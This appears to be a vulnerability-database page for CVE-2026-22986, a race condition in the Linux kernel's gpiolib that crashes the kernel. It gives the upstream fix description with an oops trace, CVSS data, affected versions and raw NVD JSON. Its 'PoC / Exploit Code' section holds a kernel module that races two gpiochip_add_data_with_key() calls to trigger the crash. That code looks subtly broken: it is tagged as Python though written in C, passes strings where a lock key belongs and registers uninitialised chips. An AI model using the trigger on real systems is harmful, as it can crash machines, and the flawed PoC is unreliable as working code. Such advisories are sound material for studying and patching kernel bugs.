Security Vulnerability Report
中文
CVE-2026-22986 CVSS 4.7 MEDIUM

CVE-2026-22986

Published: 2026-01-23 16:15:55
Last Modified: 2026-04-22 13:16:20
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: gpiolib: fix race condition for gdev->srcu If two drivers were calling gpiochip_add_data_with_key(), one may be traversing the srcu-protected list in gpio_name_to_desc(), meanwhile other has just added its gdev in gpiodev_add_to_list_unlocked(). This creates a non-mutexed and non-protected timeframe, when one instance is dereferencing and using &gdev->srcu, before the other has initialized it, resulting in crash: [ 4.935481] Unable to handle kernel paging request at virtual address ffff800272bcc000 [ 4.943396] Mem abort info: [ 4.943400] ESR = 0x0000000096000005 [ 4.943403] EC = 0x25: DABT (current EL), IL = 32 bits [ 4.943407] SET = 0, FnV = 0 [ 4.943410] EA = 0, S1PTW = 0 [ 4.943413] FSC = 0x05: level 1 translation fault [ 4.943416] Data abort info: [ 4.943418] ISV = 0, ISS = 0x00000005, ISS2 = 0x00000000 [ 4.946220] CM = 0, WnR = 0, TnD = 0, TagAccess = 0 [ 4.955261] GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0 [ 4.955268] swapper pgtable: 4k pages, 48-bit VAs, pgdp=0000000038e6c000 [ 4.961449] [ffff800272bcc000] pgd=0000000000000000 [ 4.969203] , p4d=1000000039739003 [ 4.979730] , pud=0000000000000000 [ 4.980210] phandle (CPU): 0x0000005e, phandle (BE): 0x5e000000 for node "reset" [ 4.991736] Internal error: Oops: 0000000096000005 [#1] PREEMPT SMP ... [ 5.121359] pc : __srcu_read_lock+0x44/0x98 [ 5.131091] lr : gpio_name_to_desc+0x60/0x1a0 [ 5.153671] sp : ffff8000833bb430 [ 5.298440] [ 5.298443] Call trace: [ 5.298445] __srcu_read_lock+0x44/0x98 [ 5.309484] gpio_name_to_desc+0x60/0x1a0 [ 5.320692] gpiochip_add_data_with_key+0x488/0xf00 5.946419] ---[ end trace 0000000000000000 ]--- Move initialization code for gdev fields before it is added to gpio_devices, with adjacent initialization code. Adjust goto statements to reflect modified order of operations [Bartosz: fixed a build issue, removed stray newline]

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:* - VULNERABLE
Linux kernel (affected versions prior to commit 1ef731547dfd73f466c5d0e52801b97191d4647f)
Linux kernel (affected versions prior to commit a7ac22d53d0990152b108c3f4fe30df45fcb0181)
Linux kernel (affected versions prior to commit fb674c8f1a5d8dd3113a7326030f963fa2d79c02)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-22986 PoC - Kernel Race Condition in gpiolib // This PoC demonstrates the race condition in gpiochip_add_data_with_key() // Note: This requires kernel-level access and is for educational purposes only #include <linux/gpio/machine.h> #include <linux/gpio/consumer.h> #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/kthread.h> #include <linux/delay.h> #define GPIO_CHIP_NAME_1 "poc_gpio_chip_1" #define GPIO_CHIP_NAME_2 "poc_gpio_chip_2" static struct gpio_chip chip1, chip2; static struct task_struct *thread1, *thread2; static int poc_thread_fn_1(void *data) { pr_info("PoC: Thread 1 calling gpiochip_add_data_with_key\n"); gpiochip_add_data_with_key(&chip1, GPIO_CHIP_NAME_1, NULL, 0); msleep(100); return 0; } static int poc_thread_fn_2(void *data) { pr_info("PoC: Thread 2 calling gpiochip_add_data_with_key\n"); gpiochip_add_data_with_key(&chip2, GPIO_CHIP_NAME_2, NULL, 0); return 0; } static int __init poc_init(void) { pr_info("CVE-2026-22986 PoC: Starting race condition trigger\n"); // Initialize GPIO chips chip1.label = GPIO_CHIP_NAME_1; chip2.label = GPIO_CHIP_NAME_2; // Create threads to trigger concurrent gpiochip_add_data_with_key() calls thread1 = kthread_run(poc_thread_fn_1, NULL, "poc_thread_1"); thread2 = kthread_run(poc_thread_fn_2, NULL, "poc_thread_2"); return 0; } static void __exit poc_exit(void) { if (thread1) kthread_stop(thread1); if (thread2) kthread_stop(thread2); gpiochip_remove(&chip1); gpiochip_remove(&chip2); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2026-22986 - gpiolib race condition");

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22986", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-23T16:15:54.657", "lastModified": "2026-04-22T13:16:19.830", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ngpiolib: fix race condition for gdev->srcu\n\nIf two drivers were calling gpiochip_add_data_with_key(), one may be\ntraversing the srcu-protected list in gpio_name_to_desc(), meanwhile\nother has just added its gdev in gpiodev_add_to_list_unlocked().\nThis creates a non-mutexed and non-protected timeframe, when one\ninstance is dereferencing and using &gdev->srcu, before the other\nhas initialized it, resulting in crash:\n\n[ 4.935481] Unable to handle kernel paging request at virtual address ffff800272bcc000\n[ 4.943396] Mem abort info:\n[ 4.943400] ESR = 0x0000000096000005\n[ 4.943403] EC = 0x25: DABT (current EL), IL = 32 bits\n[ 4.943407] SET = 0, FnV = 0\n[ 4.943410] EA = 0, S1PTW = 0\n[ 4.943413] FSC = 0x05: level 1 translation fault\n[ 4.943416] Data abort info:\n[ 4.943418] ISV = 0, ISS = 0x00000005, ISS2 = 0x00000000\n[ 4.946220] CM = 0, WnR = 0, TnD = 0, TagAccess = 0\n[ 4.955261] GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0\n[ 4.955268] swapper pgtable: 4k pages, 48-bit VAs, pgdp=0000000038e6c000\n[ 4.961449] [ffff800272bcc000] pgd=0000000000000000\n[ 4.969203] , p4d=1000000039739003\n[ 4.979730] , pud=0000000000000000\n[ 4.980210] phandle (CPU): 0x0000005e, phandle (BE): 0x5e000000 for node \"reset\"\n[ 4.991736] Internal error: Oops: 0000000096000005 [#1] PREEMPT SMP\n...\n[ 5.121359] pc : __srcu_read_lock+0x44/0x98\n[ 5.131091] lr : gpio_name_to_desc+0x60/0x1a0\n[ 5.153671] sp : ffff8000833bb430\n[ 5.298440]\n[ 5.298443] Call trace:\n[ 5.298445] __srcu_read_lock+0x44/0x98\n[ 5.309484] gpio_name_to_desc+0x60/0x1a0\n[ 5.320692] gpiochip_add_data_with_key+0x488/0xf00\n 5.946419] ---[ end trace 0000000000000000 ]---\n\nMove initialization code for gdev fields before it is added to\ngpio_devices, with adjacent initialization code.\nAdjust goto statements to reflect modified order of operations\n\n[Bartosz: fixed a build issue, removed stray newline]"}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\ngpiolib: corrige condición de carrera para gdev-&gt;srcu\n\nSi dos controladores estaban llamando a gpiochip_add_data_with_key(), uno podría estar recorriendo la lista protegida por srcu en gpio_name_to_desc(), mientras tanto, el otro acaba de añadir su gdev en gpiodev_add_to_list_unlocked(). Esto crea un marco de tiempo no mutexado y no protegido, cuando una instancia está desreferenciando y usando &amp;gdev-&gt;srcu, antes de que la otra lo haya inicializado, resultando en un fallo:\n\n[ 4.935481] Unable to handle kernel paging request at virtual address ffff800272bcc000\n[ 4.943396] Mem abort info:\n[ 4.943400] ESR = 0x0000000096000005\n[ 4.943403] EC = 0x25: DABT (current EL), IL = 32 bits\n[ 4.943407] SET = 0, FnV = 0\n[ 4.943410] EA = 0, S1PTW = 0\n[ 4.943413] FSC = 0x05: level 1 translation fault\n[ 4.943416] Data abort info:\n[ 4.943418] ISV = 0, ISS = 0x00000005, ISS2 = 0x00000000\n[ 4.946220] CM = 0, WnR = 0, TnD = 0, TagAccess = 0\n[ 4.955261] GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0\n[ 4.955268] swapper pgtable: 4k pages, 48-bit VAs, pgdp=0000000038e6c000\n[ 4.961449] [ffff800272bcc000] pgd=0000000000000000\n[ 4.969203] , p4d=1000000039739003\n[ 4.979730] , pud=0000000000000000\n[ 4.980210] phandle (CPU): 0x0000005e, phandle (BE): 0x5e000000 para node \"reset\"\n[ 4.991736] Internal error: Oops: 0000000096000005 [#1] PREEMPT SMP\n...\n[ 5.121359] pc : __srcu_read_lock+0x44/0x98\n[ 5.131091] lr : gpio_name_to_desc+0x60/0x1a0\n[ 5.153671] sp : ffff8000833bb430\n[ 5.298440]\n[ 5.298443] Call trace:\n[ 5.298445] __srcu_read_lock+0x44/0x98\n[ 5.309484] gpio_name_to_desc+0x60/0x1a0\n[ 5.320692] gpiochip_add_data_with_key+0x488/0xf00\n 5.946419] ---[ end trace 0000000000000000 ]---\n\nMover el código de inicialización para los campos de gdev antes de que sea añadido a gpio_devices, con código de inicialización adyacente.\nAjustar las sentencias goto para reflejar el orden de operaciones modificado\n\n[Bartosz: se corrigió un problema de compilación, se eliminó una nueva línea suelta]"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScor ... (truncated)